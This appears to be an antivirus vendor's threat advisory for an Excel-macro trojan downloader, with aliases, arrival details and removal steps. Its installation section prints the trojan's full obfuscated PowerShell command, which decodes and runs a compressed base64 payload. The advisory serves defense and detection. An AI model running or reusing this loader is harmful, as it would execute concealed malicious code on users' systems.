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Trojan.X97M.POWLOAD.GDB

May 13, 2020
 Modified by: Paul Steven Nadera
 ALIASES:

TrojanDownloader:O97M/Powdow.ARJ!MTB (Microsoft); RDN/Generic Downloader.x (NAI); VBA/TrojanDownloader.Agent.SFS trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

59,904 bytes

File Type:

XLS

Memory Resident:

No

Initial Samples Received Date:

12 May 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • RuNdLl32 SHELL32.DLL,ShellExec_RunDLL "POWERshELl" " . ( ([stRIng]$vErboSEpREFErence)[1,3]+'x'-JoIn'') (&('NEW-Obj'+'e'+'ct') SysTeM.iO.comPreSsIOn.dEFlaTEStrEam( [SyStEm.iO.MEMORYstREAM][SyStEm.CoNvErT]::FroMbAse64sTriNG( ('ZVdrd+JIDv0rHp9sl1kSN5B0z0w4O'+'buEGGJeZoCQ9DCcI8cUUNjYtDEkGbb++0hl88p+wDZGjytdSSUudi+waMXyThslHytrbOi7otxdy11J7gpS166mLPjBLlnPqgVWFR/48hWvie2Eptvvs1x'+'Z074YrL9lOU1D5YJEfVL'+'TWLuIgjP1fjT4seJk+0YqiaK'+'y/13uf'+'pO7b3L3K77C17/L1Ld+VWMfqGvhp4+'+'fTmInhGGNn8EPc0U/eXiJRccTeN/0bLyab3ZnEr2txQS/rCotUhhYSxMBIASEqWkmIigpJ1loSxS'+'6shNOstYgC+EggQIf1'+'zdd/NGu3'+'Af8Fh+GlR5KGZirro'+'rnWsnuc1VjdZR5SUzeIXzOxO4QZIvlcgqAeUgQml5TeAlZ0x09r3'+'+/1/FRscAzFlIIAxTzos6Wk2eNDF3s/oDHal1qRFqW2H3ea0xElIyaCDjL4v6SmivtLV'+'LUfSvZx45u'+'2bbC8q'+'xnV17xRpHmWb'+'tw3cXb70SsoWmjwUfXOuIiR3xmvVNlYHTli91PX94V8f7A5V0B72Iu7wxzr4DOVcIjj3Jd58lVN6akr9H6lT3BkFYgJjJn6m2oiA4oLp/nUAknLa6juWQj70a9TZiIJT'+'ftMOFxtOrzeCs8vjYf3XAS8B6fjlHyEZ7l'+'3Zd9SjLHGuvwNwrYwcvrgnuU+IvdYCM1A7GDLy8vdvZcUiRLW'+'95llbInS0NFKnuleKl'+'skTq'+'CMkqo+GChomFoxme3VC92BTXuqRzTVL8vMK0typqpbysQ'+'bLh+e5u2xrU8y5bG5l1VI5fMjRPhBh13Sel7pqJvRe6E'+'5TAV28jnxinDS'+'jOVC6kh7kkfE40OP4mxVcoGORl8nFlDKDeqNwuqT4uqVUvUqiodLmXBTcRW6c7x0u6be2jhdcl8Cqlbp/RzNKHHNicEKtLCfsCkjUAt3o1IhhjiiYJ9BHOx'+'m8Mb0dMWMs01Xid4LRYK6ef7t2KJiGtBE1rRG9adfsIcVfvXxA0ZiQTQbPYjl'+'ED22lCcyT2g0n72qOxRGyfVTRxzRRuGlBwBEXG'+'bPlixbupDqBCBaHkG9VoUHH0ThxjcPE'+'lW69uvhEEZSzbIRB6x+gE4b9I87XRBTK9XwdEV+8pyI6zPphznmelFTGlC4DzLPPsPfQuaPqwdWTZx'+'Bgs1TA6hZFanRP9rQM6Hbkz8IByq3tlsCohYqVKXF7XDgD7QQ0XCE/OZv2aFGAge4o1Ogg5'+'mlEa/nbrd+8wCfz36w4FSLREKEjRP'+'8'+'p11JjGP/ZU1F0+lWD3FdDV0c6mfoWof7xD'+'k'+'YZJGbwQpwIZ4cBOqzAfFtYBODWpEtjGqzt14NB4bZxN46KpDRCWHTCPIHPlDRp0Qm8X48rlfjnnEqzjgIR2qCjscOtDk+kEz4/VEjVSmWe+34InrudxVIxIhU5Dfq1V4xPFzseOd4S0MgC+7'+'Et83bQFPsGjgjMV+eEjnW/HY7ZTlmadYfQfPexTy'+'f+anQpzhzI1xTlJD4mepMIRQWVpoIuarwPW4pptYABdUzkuo9AaCkLxA1SNQefYXFZwPQmwWsPDxhclQ8glqDyQnOlPK9ueRr7G1KuvNq0p2ODvt7Ilq5j98NXe7OOFFmIwvdhsy+W/sbXzrQFS38Kg7c3CyZcScGj'+'zCQXRi9wG4MtxUhifNRh'+'NsqL1EhNNxYMaldoWNhg33CyufGVRLhhukRXYcIiter'+'ewr+GxD0BhV9ja+puj4bK1o'+'rLgeddZdWu2npfooggcqHVxMVBcpc9fywBSmX6G4D7L95/aDLG8rPUHFissIbjNZ7Vh4buhPCdR+08vTTeglIgq1HljtJWbA3crcDk+oZ'+'APL/h5J4Th1NTakeO4DS50u4nwPSX1Aa2OlZ1Maws3JjGT37ppq+qafIKn4UIujp'+'dr3Ltn3UypcGCIJMU82'+'cUgn7gCelmspy9Mo5q43R4lezwLbaUpNkMAEmg1f1F4ciYNvwuVYhdGswqL50mn+Ce/Qnqzl3X8NSnTDhrYTQeATsapq/r/8iLdBRAOAKI'+'rdk3OOTMSYMQGRn575xzroqV0X24QQgoJIZYqwDWoCuwH1RZ3c4sJDK5lvw2LWmGFhBYmWmrXRqqlXHXgKBzrJNO3GDFAmn0+DAq/RfIEO+H+/U1BaHhc6D4GOjdH9R8KxE3oxmgFMzoi0F1Bv1OV'+'Yu3p9j+K9SAME5gBToEQAcaGHf+F70QYHnBZh8Jwn6Az0cU7SNOHAoefYfoPgR9hfHEV6+FINAZxexILf8LOeGRXGef0XPYcN5bpVKmxTn/FBfwA9EJ2ZjuID8IkgeAn9P1/ak77Eka0Z5udtaIs5rcRCLUTpemroPx+x6LyZntV1kNb1KYtEYsJJ6Tk9TgKKfH1aZG03hoEtL8/mrqb4UwuqoYLuRUB'+'Bn427UqGAAw83k7KYGsb5cXwcqriU9hJB6'+'2kAvAOzwVzPeO5im/'+'F3kcjy2UjGM4+v1F8WPMMK5U8zS61d1YqaJuzreu8ixhDK5vlkz'+'8zQQCp+oxr6OYdqtracZYiq+5lGC6YqCFoi/JQhmueYIdzlzc+q'+'9O+JjofqI+2VD3aCw4m4oQMyz2L880Mbq/pXs'+'Dz5V0CE4f7T2i+w'+'56c6'+'4VHLPuX6FAmuYP46kpfsLzqL8'+'Bj6Bw==')),[Io.coMpReSSION.COMpReSSIOnmOdE]::DecOmPREsS )| &('f'+'ore'+'Ach'){ &('N'+'E'+'W-'+'Object') SYSTeM.io.sTREAMreADer($_ ,[TeXt.eNcODinG]::Ascii ) }).readTOeND()"

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.794.08

FIRST VSAPI PATTERN DATE:

09 Apr 2020

VSAPI OPR PATTERN File:

15.795.00

VSAPI OPR PATTERN Date:

10 Apr 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.GDB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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